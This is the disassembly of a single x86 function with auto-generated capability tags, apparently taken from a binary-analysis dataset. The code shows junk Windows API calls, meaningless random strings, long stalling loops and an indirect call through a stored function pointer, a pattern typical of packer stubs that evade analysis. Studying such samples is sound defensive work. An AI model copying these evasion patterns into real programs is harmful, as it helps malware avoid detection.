Function at 0x436ac0
Capabilities:
Get common file path
Get thread local storage value
Set current directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2214
call fcn.00411ef0
mov dword [ebp - 4], 0
jmp 0x436adf
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x32d05d76
jge 0x436bd0
cmp dword [0x44a79c], 0xfc
jne 0x436b4b
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapUserPhysicalPages]
xor ecx, ecx
mov word [ebp - 0x70], cx
xor edx, edx
mov dword [ebp - 0x6e], edx
mov dword [ebp - 0x6a], edx
mov dword [ebp - 0x66], edx
mov word [ebp - 0x62], dx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
xor eax, eax
mov word [ebp - 0x74], ax
xor ecx, ecx
mov word [ebp - 0x72], cx
lea edx, [ebp - 0x60]
push edx
mov eax, dword [ebp - 0x74]
push eax
lea ecx, [ebp - 0x5c]
push ecx
lea edx, [ebp - 0x7c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferW]
cmp dword [0x44a79c], 0x5e4
jne 0x436bc0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
push 0
lea eax, [ebp - 0x9a0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
lea ecx, [ebp - 0x1a0]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
push 0
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push str.mowapevuvahoyobajimuluzo_jojof_xuvuxoyipunolakokedub_hohivuligesohowu_ferasorafawumahuzodisuley
push 0
push 0
push 0x440eec
push str.sekicubuzocalazudicegalafate_tudoterizurigozerasizutobeyaji_beneyicujakiketihoyumu_heroyaxibagik
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructA]
xor edx, edx
mov word [ebp - 0x9b8], dx
xor eax, eax
mov word [ebp - 0x9b6], ax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
cmp dword [ebp - 4], 0x9be51dc
jle 0x436bcb
jmp 0x436bd0
jmp 0x436ad6
push 0x446620
mov ecx, dword [0x44a79c]
push ecx
mov edx, dword [0x44880c]
push edx
call fcn.00436990
mov dword [ebp - 0x9bc], 0
jmp 0x436c03
mov eax, dword [ebp - 0x9bc]
add eax, 1
mov dword [ebp - 0x9bc], eax
cmp dword [ebp - 0x9bc], 0x3e7a3
jge 0x436c5c
cmp dword [0x44a79c], 0x10
jne 0x436c41
mov dword [ebp - 0x9c8], 0
mov dword [ebp - 0x9c4], 0
lea ecx, [ebp - 0x9c8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push 0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
cmp dword [ebp - 0x9bc], 0x1e673
jne 0x436c5a
call fcn.004364b0
jmp 0x436bf4
mov dword [ebp - 0x9cc], 0
jmp 0x436c77
mov edx, dword [ebp - 0x9cc]
add edx, 1
mov dword [ebp - 0x9cc], edx
cmp dword [ebp - 0x9cc], 0xdd9a7
jge 0x436ca3
cmp dword [0x44a79c], 0xc01
jne 0x436ca1
lea eax, [ebp - 0x9d0]
push eax
push str.jesovereguferan_vivetimy_yomazalinonol_zuhiyunih_jomufucama
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
jmp 0x436c68
call dword [0x44880c]
cmp dword [0x44a79c], 0x1144
jne 0x436d76
push 0
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
lea ecx, [ebp - 0x1200]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov dword [ebp - 0x2214], 0
mov edx, dword [ebp - 0x2214]
push edx
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
lea eax, [ebp - 0x220c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
call dword [sym.imp.KERNEL32.dll_GetVersion]
push str.jixazavobutozixuhopa_codirimejexivijujares
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
lea ecx, [ebp - 0x1a08]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push str.rugoxazewojehararebac
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push 0
lea edx, [ebp - 0x11d0]
push edx
push 0
push str.kizanugukofuhidepupati_vezoruzijesogufomapigefez_wacuricahufomiz_rolaziyakonov
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
lea eax, [ebp - 0x1204]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
lea ecx, [ebp - 0x2208]
push ecx
push str.hilunujusikafe
call dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
xor eax, eax
mov esp, ebp
pop ebp
ret